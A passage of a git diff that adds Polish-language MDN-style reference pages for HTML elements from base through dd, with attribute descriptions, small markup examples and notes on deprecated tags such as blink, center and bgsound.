id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2> + + + +<p>{{Compat("html.elements.base")}}</p> diff --git a/files/pl/web/html/element/basefont/index.html b/files/pl/web/html/element/basefont/index.html new file mode 100644 index 0000000000..f012d79e2b --- /dev/null +++ b/files/pl/web/html/element/basefont/index.html @@ -0,0 +1,34 @@ +--- +title: basefont +slug: Web/HTML/Element/basefont +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/basefont +--- +<p> +</p><p><br> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Element <code><basefont></code> ustanawia domyślny rozmiar czcionki dla dokumentu. Rozmiar czcionki może być wtedy różnie odnoszony do czcionki bazowej przy użyciu elementu <code><font></code>. +</p> +<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3> +<dl><dt>color +</dt><dd>Ten atrybut ustawia kolor tekstu przy użyciu nazwanego koloru lub koloru określonego w formacie szesnastkowym #RRGGBB. +</dd></dl> +<dl><dt>face +</dt><dd>Ten atrybut zawiera listę jednej lub wielu nazw czcionek. Tekst dokumentu w domyślnym stylu jest wyświetlany w pierwszym rodzaju czcionki, który wspiera przeglądarka użytkownika. Jeśli żadna z czcionek podanych w liście nie jest zainstalowana w lokalnym systemie, przeglądarka zwykle wybierze domyślną dla tego systemu czcionkę proporcjonalną lub o stałej szerokości. +</dd></dl> +<dl><dt>size +</dt><dd>Ten atrybut określa rozmiar czcionki w wartościach numerycznych lub względnych. Wartości numeryczne zawierają się w zakresie od 1 do 7, gdzie 1 jest wartością najmniejszą, zaś 3 domyślną. +</dd></dl> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3> +<pre> <basefont color="#FF0000" face="Helvetica" size="+2" /> +</pre> +<h3 id="Notatki" name="Notatki"> Notatki </h3> +<p>HTML 3.2 wspiera <code>basefont</code>, ale jedynie z atrybutem <code>size</code>. +</p><p>Specyfikacje Strict HTML oraz XHTML nie wspierają tego elementu. +</p><p>Wbrew temu, że jest częścią standardu Transitional, część przeglądarek skupionych na standardach, jak Mozilla i Opera, nie wspiera tego elementu. +</p><p>Ten element może być naśladowany przez regułę CSS dla elementu <code>body</code>. +</p><p>XHTML 1.0 wymaga dla tego elementu zamykającego ukośnika: <code><basefont /></code>. +</p><p>{{ HTML:Element_Navigation() }} +</p>{{ languages( { "en": "en/HTML/Element/basefont" } ) }} diff --git a/files/pl/web/html/element/bdo/index.html b/files/pl/web/html/element/bdo/index.html new file mode 100644 index 0000000000..34e4b85ba0 --- /dev/null +++ b/files/pl/web/html/element/bdo/index.html @@ -0,0 +1,22 @@ +--- +title: bdo +slug: Web/HTML/Element/bdo +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/bdo +--- +<p> +</p><p><br> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Element <code><bdo></code> jest używany do unieważnienia aktualnego kierunku tekstu. Powoduje to zignorowanie kierunku znaków na rzecz zdefiniowanego kierunku. +</p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3> +<pre> <!-- Przełącz kierunek tekstu --> + <bdo dir="rtl">Ten tekst będzie biegł od prawej do lewej.</bdo> +</pre> +<h3 id="Notatki" name="Notatki"> Notatki </h3> +<p>Specyfikacja HTML 4 nie określa zdarzeń dla tego elementu; zostały one dodane w XHTML. Bardzo prawdopodobnie jest to przeoczenie. +</p><p><br> +{{ HTML:Element_Navigation() }} +</p>{{ languages( { "en": "en/HTML/Element/bdo" } ) }} diff --git a/files/pl/web/html/element/bgsound/index.html b/files/pl/web/html/element/bgsound/index.html new file mode 100644 index 0000000000..49c27eb45e --- /dev/null +++ b/files/pl/web/html/element/bgsound/index.html @@ -0,0 +1,45 @@ +--- +title: bgsound +slug: Web/HTML/Element/bgsound +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/bgsound +--- +<p> </p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Atrybut <code><bgsound></code> Internet Explorera wiąże dźwięk tła ze stroną</p> +<h3 id="Atrybuty" name="Atrybuty">Atrybuty</h3> +<dl> + <dt> + balance</dt> + <dd> + Ten atrybut definiuje liczbę między -10,000 a +10,000, która decyduje, jak natężenie dźwięku będzie dzielone między głośniki.</dd> +</dl> +<dl> + <dt> + loop</dt> + <dd> + Ten atrybut wskazuje liczbę powtórzeń dźwięku, który jest do odegrania i może mieć zarówno wartość liczbową, jak i słowo kluczowe <code>infinite</code> (nieskończony).</dd> +</dl> +<dl> + <dt> + src</dt> + <dd> + Ten atrybut określa URL pliku dźwiękowego do odegrania, który musi być jednym z podanych typów: .wav, .au, or .mid.</dd> +</dl> +<dl> + <dt> + volume</dt> + <dd> + Ten atrybut definiuje liczbę pomiędzy -10,000 a 0, która decyduje o głośności dźwięku w tle strony.</dd> +</dl> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre> <bgsound src="sound1.mid"> + + <bgsound src="sound2.au" loop="infinite"> +</pre> +<h3 id="Notatki" name="Notatki">Notatki</h3> +<p>Podobną funkcjonalność można osiągnąć w niektórych wersjach Netscape, używając znacznika <code><embed></code> do wywołania odtwarzacza audio.</p> +<p>Możesz pisać <code>bgsound</code> z samozamykającym się znacznikiem <code><bgsound /></code>. Jednak, ponieważ ten element nie jest częścią standardu, robienie z niego znacznika w stylu XHTML, nie uczyni go walidowalnym.</p> +<p>{{ HTML:Element_Navigation() }}</p> +<p>{{ languages( { "en": "en/HTML/Element/bgsound" } ) }}</p> diff --git a/files/pl/web/html/element/big/index.html b/files/pl/web/html/element/big/index.html new file mode 100644 index 0000000000..b8848b77e0 --- /dev/null +++ b/files/pl/web/html/element/big/index.html @@ -0,0 +1,20 @@ +--- +title: big +slug: Web/HTML/Element/big +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/big +--- +<div> + {{ obsolete_header() }}</div> +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> +<p>Element <code><big>...</big></code> powiększa czcionkę w stosunku do użytej treści.</p> +<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2> +<pre class="brush:html"><p> + To jest pierwsze zdanie. <big>To zdanie jest napisane dużymi literami.</big> +</p></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> +<p><a href="/pl/HTML/Element/font" title="pl/HTML/Element/font">Znacznik <code><font></code></a>, <a href="/pl/HTML/Element/small" title="pl/HTML/Element/small">Znacznik <code><small></code></a>, <a href="/pl/HTML/Element/style" title="pl/HTML/Element/style">Znacznik <code><style></code></a></p> +<div> + {{ HTML:Element_Navigation() }}</div> diff --git a/files/pl/web/html/element/blink/index.html b/files/pl/web/html/element/blink/index.html new file mode 100644 index 0000000000..21a13480d2 --- /dev/null +++ b/files/pl/web/html/element/blink/index.html @@ -0,0 +1,22 @@ +--- +title: blink +slug: Web/HTML/Element/blink +translation_of: Web/HTML/Element/blink +--- +<div> + {{Deprecated_header()}}</div> +<div> + {{Non-standard_header()}}</div> +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> +<p>Element <code><blink>...</blink></code> powoduje migotanie zawartego w nim tekstu (działa tylko w IE, Operze i przeglądarkach opartych na silniku <a href="/pl/Gecko" title="pl/Gecko">Gecko</a>).</p> +<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2> +<pre class="brush:html"><blink>Why would somebody use this?</blink> +</pre> +<h3 id="Rezultat" name="Rezultat">Rezultat</h3> +<p><img alt="Grafika:HTMLBlinkElement.gif" class="internal" src="/@api/deki/files/2316/=HTMLBlinkElement.gif"></p> +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> +<ul> + <li>{{cssxref("text-decoration")}}</li> + <li><a href="/pl/HTML/Element/marquee" title="pl/HTML/Element/marquee">Znacznik <code><marquee></code></a></li> +</ul> +<p>{{ HTML:Element_Navigation() }}</p> diff --git a/files/pl/web/html/element/blockquote/index.html b/files/pl/web/html/element/blockquote/index.html new file mode 100644 index 0000000000..66fa6100fe --- /dev/null +++ b/files/pl/web/html/element/blockquote/index.html @@ -0,0 +1,49 @@ +--- +title: blockquote +slug: Web/HTML/Element/blockquote +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/blockquote +--- +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> +<p><strong>Cytat blokowy</strong> oznacza, że dany tekst jest większym cytatem. Zazwyczaj pokazywane jest to jako wcięty tekst (zobacz w <a href="/pl/docs/HTML/Element/blockquote#Notatki" title="HTML/Element/blockquote#Notatki">notatkach</a> jak to zmienić). Źródło cytatu może być zaznaczone za pomocą <a href="/pl/docs/HTML/Element/cite" title="HTML/Element/cite">elementu <code><cite></code></a>.</p> + +<ul> + <li>Typ elementu: <a href="/pl/docs/HTML/Elementy_blokowe" title="HTML/Elementy_blokowe">blokowy</a></li> + <li>Dozwolona zawartość: <a href="/pl/docs/HTML/Elementy_blokowe" title="HTML/Elementy_blokowe">elementy blokowe</a></li> +</ul> + + +<h2 id="Atrybuty" name="Atrybuty">Atrybuty</h2> +<dl> + <dt> + cite</dt> + <dd> + Wartością tego atrybutu jest URL, który określa źródłowy dokument lub wiadomość dla cytowanej informacji. Ten atrybut jest przeznaczony do wskazywania informacji wyjaśniającej kontekst lub powiązanie cytatu.</dd> +</dl> + + +<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2> +<pre class="brush:html"><blockquote cite="http://developer.mozilla.org"> + <p>To jest cytat z Mozilla Developer Center.</p> +</blockquote></pre> + +<p>Powyższy HTML da następujący efekt:</p> + +<blockquote cite="http://developer.mozilla.org"> + <p>To jest cytat z Mozilla Developer Center.</p> +</blockquote> + + +<h2 id="Notatki" name="Notatki">Notatki</h2> +<p>By zmienić wcięcie dla <code><blockquote></code>, użyj własności <a href="/pl/docs/CSS" title="CSS">CSS</a> <a href="/pl/docs/CSS/Margin" title="CSS/Margin"><code>margin</code></a>.</p> +<p>Dla krótkich cytatów użyj elementu <a href="/pl/docs/HTML/Element/q" title="HTML/Element/q"><code><q></code></a>.</p> + + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> +<ul> + <li><a href="/pl/docs/HTML/Element/p" title="HTML/Element/p">Akapit</a></li> + <li><a href="/pl/docs/HTML/Element/code" title="HTML/Element/code">Znacznik <code><code></code></a></li> +</ul> + +<div>{{ HTML:Element_Navigation() }}</div> diff --git a/files/pl/web/html/element/body/index.html b/files/pl/web/html/element/body/index.html new file mode 100644 index 0000000000..2fbec32b65 --- /dev/null +++ b/files/pl/web/html/element/body/index.html @@ -0,0 +1,166 @@ +--- +title: '<body>: Element Treści Dokumentu' +slug: Web/HTML/Element/body +tags: + - Element + - HTML + - Reference + - Sectioning Root Element + - Sections + - Web +translation_of: Web/HTML/Element/body +--- +<p>{{HTMLRef}}</p> + +<p><span class="seoSummary"><strong>Element <code><body></code> </strong>reprezentuje zawartość dokumentu HTML. W dokumencie może znajdować się tylko jeden element <code><body></code>.</span></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Kategorie treści</th> + <td><a href="https://wiki.developer.mozilla.org/pl/docs/Web/Guide/HTML/Sekcje_oraz_konspekt_dokumentu_HTML5">Podział na sekcje</a>.</td> + </tr> + <tr> + <th scope="row">Dozwolona zawartość</th> + <td><a href="https://wiki.developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Flow_content">Zawartość przepływu</a>.</td> + </tr> + <tr> + <th scope="row">Pominięcie znacznika</th> + <td>Znacznik otwierający może zostać pominięty, jeśli pierwszą rzeczą wewnątrz niego nie jest znak spacji, komentarz, element {{HTMLElement("script")}} lub element {{HTMLElement("style")}}. Znacznik zamykający może zostać pominięty, jeśli element <body> ma zawartość lub ma znacznik startowy, a po nim nie następuje od razu komentarz.</td> + </tr> + <tr> + <th scope="row">Dozwoleni rodzice</th> + <td>To musi być drugi element elementu {{HTMLElement("html")}}.</td> + </tr> + <tr> + <th scope="row">Dozwolone role ARIA</th> + <td>Brak</td> + </tr> + <tr> + <th scope="row">Interfejs DOM</th> + <td>{{domxref("HTMLBodyElement")}} + <ul> + <li>Element <code><body></code> wyświetla interfejs {{domxref("HTMLBodyElement")}}.</li> + <li>Dostęp do elementu <code><body></code> można uzyskać poprzez właściwość {{domxref("document.body")}}.</li> + </ul> + </td> + </tr> + </tbody> +</table> + +<h2 id="Atrybuty">Atrybuty</h2> + +<p>Ten element uwzględnia <a href="https://wiki.developer.mozilla.org/pl/docs/Web/HTML/Global_attributes">atrybuty globalne</a>.</p> + +<dl> + <dt>{{htmlattrdef("alink")}} {{obsolete_inline}}</dt> + <dd>Kolor tekstu dla hiperłączy po zaznaczeniu. <em>Ta metoda jest nieprawidłowa, użyj właściwości CSS {{cssxref("color")}} w połączeniu z pseudo-klasą {{cssxref(":active")}}.</em></dd> + <dt>{{htmlattrdef("background")}} {{obsolete_inline}}</dt> + <dd>URI obrazu do wykorzystania jako tło. <em>Ta metoda jest nieprawidłowa, zamiast tego należy użyć właściwości CSS {{cssxref("background")}} na elemencie.</em></dd> + <dt>{{htmlattrdef("bgcolor")}} {{obsolete_inline}}</dt> + <dd>Kolor tła dokumentu. <em>Ta metoda jest nieprawidłowa, użyj zamiast tego właściwości CSS {{cssxref("background-color")}} na elemencie.</em></dd> + <dt>{{htmlattrdef("bottommargin")}} {{obsolete_inline}}</dt> + <dd>Margines dolnej części strony. <em>Ta metoda jest nieprawidłowa, zamiast tego użyj właściwości CSS {{cssxref("margin-bottom")}} na elemencie.</em></dd> + <dt>{{htmlattrdef("leftmargin")}} {{obsolete_inline}}</dt> + <dd>Margines lewej części strony. <em>Ta metoda jest nieprawidłowa, zamiast tego użyj właściwości CSS {{cssxref("margin-left")}} na elemencie.</em></dd> + <dt>{{htmlattrdef("link")}} {{obsolete_inline}}</dt> + <dd>Kolor tekstu dla nie odwiedzonych linków hipertekstowych. <em>Ta metoda jest nieprawidłowa, zamiast tego użyj właściwości CSS {{cssxref("color")}} w połączeniu z pseudo-klasą {{cssxref(":link")}}.</em></dd> + <dt>{{htmlattrdef("onafterprint")}}</dt> + <dd>Funkcja do wywołania po wydrukowaniu dokumentu przez użytkownika.</dd> + <dt>{{htmlattrdef("onbeforeprint")}}</dt> + <dd>Funkcja do wywołania, gdy użytkownik żąda wydrukowania dokumentu.</dd> + <dt>{{htmlattrdef("onbeforeunload")}}</dt> + <dd>Funkcja do wywołania, gdy dokument jest w trakcie ładowania.</dd> + <dt>{{htmlattrdef("onblur")}}</dt> + <dd>Funkcja do wywołania, gdy dokument straci ostrość.</dd> + <dt>{{htmlattrdef("onerror")}}</dt> + <dd>Funkcja do wywołania, gdy dokument nie zostanie załadowany prawidłowo.</dd> + <dt>{{htmlattrdef("onfocus")}}</dt> + <dd>Funkcja do wywołania, gdy dokument uzyska ostrość.</dd> + <dt>{{htmlattrdef("onhashchange")}}</dt> + <dd>Funkcja do wywołania w przypadku zmiany części identyfikatora fragmentu (rozpoczynającego się znakiem hash (<code>'#'</code>)) bieżącego adresu dokumentu.</dd> + <dt>{{htmlattrdef("onlanguagechange")}} {{experimental_inline}}</dt> + <dd>Funkcja do wywołania po zmianie preferowanych języków.</dd> + <dt>{{htmlattrdef("onload")}}</dt> + <dd>Funkcja do wywołania po zakończeniu ładowania dokumentu.</dd> + <dt>{{htmlattrdef("onmessage")}}</dt> + <dd>Funkcja do wywołania, gdy dokument otrzyma wiadomość.</dd> + <dt>{{htmlattrdef("onoffline")}}</dt> + <dd>Funkcja do wywołania, gdy zawiodła komunikacja sieciowa.</dd> + <dt>{{htmlattrdef("ononline")}}</dt> + <dd>Funkcja do wywołania po przywróceniu komunikacji sieciowej.</dd> + <dt>{{htmlattrdef("onpopstate")}}</dt> + <dd>Funkcja do wywołania po przejściu użytkownika do historii sesji.</dd> + <dt>{{htmlattrdef("onredo")}}</dt> + <dd>Funkcja do wywołania, gdy użytkownik przeszedł do przodu w historii operacji cofania.</dd> + <dt>{{htmlattrdef("onresize")}}</dt> + <dd>Funkcja do wywołania po zmianie rozmiaru dokumentu.</dd> + <dt>{{htmlattrdef("onstorage")}}</dt> + <dd>Funkcja do wywołania, gdy obszar pamięci masowej ulegnie zmianie.</dd> + <dt>{{htmlattrdef("onundo")}}</dt> + <dd>Funkcja do wywołania po cofnięciu się użytkownika w historii operacji.</dd> + <dt>{{htmlattrdef("onunload")}}</dt> + <dd>Funkcja do wywołania, gdy dokument wygasa.</dd> + <dt>{{htmlattrdef("rightmargin")}} {{obsolete_inline}}</dt> + <dd>Margines prawej części strony. <em>Ta metoda jest nieprawidłowa, zamiast tego należy użyć właściwości CSS {{cssxref("margin-right")}} na elemencie.</em></dd> + <dt>{{htmlattrdef("text")}} {{obsolete_inline}}</dt> + <dd>Kolor tekstu na pierwszym planie. <em>Ta metoda jest nieprawidłowa, należy użyć właściwości CSS {{cssxref("color")}} na elemencie.</em></dd> + <dt>{{htmlattrdef("topmargin")}} {{obsolete_inline}}</dt> + <dd>Margines górnej części strony. <em>Ta metoda jest nieprawidłowa, należy użyć właściwości CSS {{cssxref("margin-top")}} na elemencie.</em></dd> + <dt>{{htmlattrdef("vlink")}} {{obsolete_inline}}</dt> + <dd>Kolor tekstu dla odwiedzonych linków hipertekstowych. <em>Ta metoda jest nieprawidłowa, należy użyć właściwości CSS {{cssxref("color")}} w połączeniu z pseudo-klasą {{cssxref(":visited")}}.</em></dd> +</dl> + +<h2 id="Przykład">Przykład</h2> + +<pre class="brush: html"><html> + <head> + <title>Tytuł dokumentu</title> + </head> + <body> + <p>To jest akapit</p> + </body> +</html> +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'semantics.html#the-body-element', '<body>')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Zmieniono listę funkcji niezgodnych z wymaganiami.</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'sections.html#the-body-element', '<body>')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Przestarzałe, wcześniej wycofane atrybuty. Zdefiniowano zachowanie niezgodnych i nigdy nie znormalizowanych <code>margintop</code>, <code>marginleft</code>, <code>marginright</code> oraz <code>marginbottom</code>. Dodano atrybuty <code>on*</code>.</td> + </tr> + <tr> + <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.1', '<body>')}}</td> + <td>{{Spec2('HTML4.01')}}</td> + <td>Wycofane atrybuty <code>alink</code>, <code>background</code>, <code>bgcolor</code>, <code>link</code>, <code>text</code> oraz <code>vlink</code>.</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2> + + + +<p>{{Compat("html.elements.body")}}</p> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>{{HTMLElement("html")}}</li> + <li>{{HTMLElement("head")}}</li> +</ul> diff --git a/files/pl/web/html/element/br/index.html b/files/pl/web/html/element/br/index.html new file mode 100644 index 0000000000..37fcda5aa6 --- /dev/null +++ b/files/pl/web/html/element/br/index.html @@ -0,0 +1,41 @@ +--- +title: br +slug: Web/HTML/Element/br +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/br +--- +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Element tworzy w tekście przełamanie linii (powrót karetki). Jest to pusty element, zatem nie może mieć żadnej zawartości i zamykającego znacznika (<code><br></code>). Jest on użyteczny przy pisaniu wiersza lub adresu, gdzie ważne jest miejsce przełamania.</p> + +<ul> + <li>Dozwolona zawartość: brak</li> +</ul> + +<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2> + +<pre class="brush:html">Mozilla Foundation<br> +1981 Landings Drive<br> +Building K<br> +Mountain View, CA 94043-0801<br> +USA +</pre> + +<p>Powyższy HTML daje w efekcie:</p> + +<p>Mozilla Foundation<br> + 1981 Landings Drive<br> + Building K<br> + Mountain View, CA 94043-0801<br> + USA</p> + +<h2 id="Notatki" name="Notatki">Notatki</h2> + +<p><a href="/pl/docs/HTML" title="HTML">HTML</a> nie wymaga domknięcia tego znacznika, natomiast już w <a href="/pl/docs/XHTML" title="XHTML">XHTML</a>-u każdy element musi być domknięty, zatem znacznik będzie wyglądał następująco: <strong><code><br></code></strong>.</p> + +<p><strong>Nie</strong> używaj <code><br></code> do zwiększania przerw pomiędzy tekstem, korzystaj w tym celu z właściwości CSS <code>margin</code>.</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<p><a href="/pl/docs/HTML/Element/p" title="HTML/Element/p">Znacznik <code><p></code></a></p> diff --git a/files/pl/web/html/element/center/index.html b/files/pl/web/html/element/center/index.html new file mode 100644 index 0000000000..4fce8b05ab --- /dev/null +++ b/files/pl/web/html/element/center/index.html @@ -0,0 +1,36 @@ +--- +title: center +slug: Web/HTML/Element/center +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/center +--- +<p> +</p> +<h3 id="Podsumowanie_Deprecated_inline" name="Podsumowanie_Deprecated_inline"> Podsumowanie {{ Deprecated_inline() }} </h3> +<p>Element <code><center>...</center></code> jest <a href="pl/HTML/Elementy_blokowe">elementem blokowym</a>, który może zawierać akapity i inne elementy blokowe oraz liniowe. Wewnętrzna zawartość tego elementu jest wyśrodkowana w poziomie względem zawierającego ją elementu (zazwyczaj <i>body</i>). Ten znacznik jest wycofywany w HTML 4 (oraz XHTML 1) na rzecz własności CSS <code>text-align</code>, która może być zastosowana do <a href="pl/HTML/Element/div">elementu <code>div</code></a> lub do pojedynczego <a href="pl/HTML/Element/p">akapitu</a>. +</p> +<h3 id="Przyk.C5.82ad_1" name="Przyk.C5.82ad_1"> Przykład 1 </h3> +<pre class="eval"> <center>Ten tekst będzie wyśrodkowany. + <p>Jak również ten akapit.</p></center> +</pre> +<h4 id="Rezultat" name="Rezultat"> Rezultat </h4> +<center>Ten tekst będzie wyśrodkowany. +<p>Jak również ten akapit.</p></center> +<h3 id="Przyk.C5.82ad_2_.28alternatywny_CSS.29" name="Przyk.C5.82ad_2_.28alternatywny_CSS.29"> Przykład 2 (alternatywny CSS) </h3> +<pre class="eval"> <div style="text-align:center">Ten tekst będzie wyśrodkowany. + <p>Jak również ten akapit.</p></div> +</pre> +<h4 id="Rezultat_2" name="Rezultat_2"> Rezultat </h4> +<div style="text-align: center;">Ten tekst będzie wyśrodkowany. +<p>Jak również ten akapit.</p></div> +<h3 id="Przyk.C5.82ad_3_.28alternatywny_CSS.29" name="Przyk.C5.82ad_3_.28alternatywny_CSS.29"> Przykład 3 (alternatywny CSS) </h3> +<pre class="eval"> <p style="text-align:center">Ta linia będzie wyśrodkowana.<br /> + I ta linia również.</p> +</pre> +<h4 id="Rezultat_3" name="Rezultat_3"> Rezultat </h4> +<p style="text-align: center;">Ta linia będzie wyśrodkowana.<br> +I ta linia również.</p> +<h3 id="Notatki" name="Notatki"> Notatki </h3> +<p>Zastosowanie <code>text-align:center</code> do elementu <code>div</code> lub elementu <code>p</code> centruje <em>zawartość</em> tych elementów, pozostawiając ich całkowite wymiary niezmienione. </p><p>{{ HTML:Element_Navigation() }} +</p>{{ languages( { "en": "en/HTML/Element/center" } ) }} diff --git a/files/pl/web/html/element/cite/index.html b/files/pl/web/html/element/cite/index.html new file mode 100644 index 0000000000..da04717a5b --- /dev/null +++ b/files/pl/web/html/element/cite/index.html @@ -0,0 +1,38 @@ +--- +title: cite +slug: Web/HTML/Element/cite +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/cite +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Element <code><cite></code> zawiera cytowanie lub odwołanie do innych zasobów. +</p> +<ul><li> Typ elementu: <a href="pl/HTML/Elementy_liniowe">inline</a> +</li><li> Dozwolona zawartość: <a href="pl/HTML/Elementy_liniowe">inline</a> +</li></ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3> +<h4 id="Oznaczanie_autora_cytatu" name="Oznaczanie_autora_cytatu"> Oznaczanie autora cytatu </h4> +<pre> As <cite>Harry S. Truman</cite> said, <q>The buck stops here.</q> +</pre> +<p>Powyższy HTML daje w efekcie: +</p><p><img alt="Image:HTML-cite.png"> +</p> +<h4 id="Oznaczanie_.C5.BAr.C3.B3d.C5.82a" name="Oznaczanie_.C5.BAr.C3.B3d.C5.82a"> Oznaczanie źródła </h4> +<pre> Więcej informacji można znaleźć w <cite>[ISO-0000]</cite> +</pre> +<p>Powyższy HTML daje w efekcie: +</p><p>Więcej informacji można znaleźć w <cite>{{ mediawiki.external('ISO-0000') }}</cite> +</p> +<h3 id="Notatki" name="Notatki"> Notatki </h3> +<p>Aby usunąć kursywę z elementu <code><cite></code>, użyj własności <a href="pl/CSS">CSS</a> <a href="pl/CSS/font-style">font-style</a>. +</p> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<ul><li> <a href="pl/HTML/Element/q">Znacznik <code><q></code></a> +</li><li> <a href="pl/HTML/Element/blockquote">Znacznik <code><blockquote></code></a> +</li></ul> +<p><br> +{{ HTML:Element_Navigation() }} +</p>{{ languages( { "en": "en/HTML/Element/cite" } ) }} diff --git a/files/pl/web/html/element/code/index.html b/files/pl/web/html/element/code/index.html new file mode 100644 index 0000000000..de90a45916 --- /dev/null +++ b/files/pl/web/html/element/code/index.html @@ -0,0 +1,23 @@ +--- +title: code +slug: Web/HTML/Element/code +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/code +--- +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Element <code><code>...</code></code> służy do definiowania użytego kodu. Jest on elementem <code>inline</code> z przypisaną domyślnie czcionką <code>Lucida Console</code>.</p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval"> Zwykły tekst. <code>To jest kod.</code> Zwykły tekst. +</pre> +<h4 id="Rezultat" name="Rezultat">Rezultat</h4> +<p>Zwykły tekst. <code>To jest kod.</code> Zwykły tekst.</p> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> +<ul> + <li><a href="/pl/HTML/Element/blockquote" title="pl/HTML/Element/blockquote">Znacznik <code><blockquote></code></a></li> + <li>Specyfikacja HTML 4.01: <a class="external" href="http://www.w3.org/TR/html4/struct/text.html#h-9.2.1">Phrase Elements</a></li> +</ul> +<div> + {{ HTML:Element_Navigation() }}</div> +<div> + {{ languages({ "pl": "pl/HTML/Element/code", "fr": "fr/HTML/Element/code", "en": "en/HTML/Element/code", "ja": "ja/HTML/Element/code" }) }}</div> diff --git a/files/pl/web/html/element/comment/index.html b/files/pl/web/html/element/comment/index.html new file mode 100644 index 0000000000..6c7c3b7187 --- /dev/null +++ b/files/pl/web/html/element/comment/index.html @@ -0,0 +1,33 @@ +--- +title: comment +slug: Web/HTML/Element/comment +tags: + - 'HTML:Opis_elementów' +--- +<p> </p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Element HTML <code><!-- ... --></code> (komentarz) jest używany do oznaczania tekstu, który nie jest wyświetlany użytkownikowi. Znaczniki komentarza mogą otaczać tylko kilka słów lub całe fragmenty strony. W szczególności ciągi myślników (---) nie powinny się pojawiać wewnątrz znaczników komentarza.</p> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval"> <p>Spędziliśmy miłe chwile podczas naszych letnich wakacji. <!-- Opowiedzieć tutaj + o Wielkim Kanionie. --> Lecz naprawdę wspaniale jest wrócić.</p> +</pre> + +<h4 id="Rezultat" name="Rezultat">Rezultat</h4> + +<p>Spędziliśmy miłe chwile podczas naszych letnich wakacji. Lecz naprawdę wspaniale jest wrócić.</p> + +<h3 id="Notatki" name="Notatki">Notatki</h3> + +<p>Komentarze HTML są widziane przez końcowego użytkownika poprzez funkcję przeglądarki "Pokaż źródło", zatem nie powinny być używane do trzymania istotnych informacji.</p> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p>Specyfikacja HTML 4.01: <a class="external" href="http://www.w3.org/TR/html401/intro/sgmltut.html#h-3.2.4">Comments</a></p> + +<p>{{ HTML:Element_Navigation() }}</p> + +<p>{{ languages( { "en": "en/HTML/Element/comment" } ) }}</p> diff --git a/files/pl/web/html/element/dd/index.html b/files/pl/web/html/element/dd/index.html new file mode 100644 index 0000000000..198a509861 --- /dev/null +++ b/files/pl/web/html/element/dd/index.html @@ -0,0 +1,33 @@ +--- +title: dd +slug: Web/HTML/Element/dd +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/dd +--- +<p> </p><p><br> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Element <b>opis definicji</b> (<code><dd></code>) wskazuje wyjaśnienie definicji terminu znajdującego się wewnątrz <a href="pl/HTML/Element/dl">listy definicji (<code><dl></code>)</a>. Ten element może występować tylko jako dziecko <a href="pl/HTML/Element/dl">listy definicji</a> i powinien być poprzedzony przez element <a href="pl/HTML/Element/dt">termin definicji (<code><dt></code>)</a>. +</p> +<ul><li> 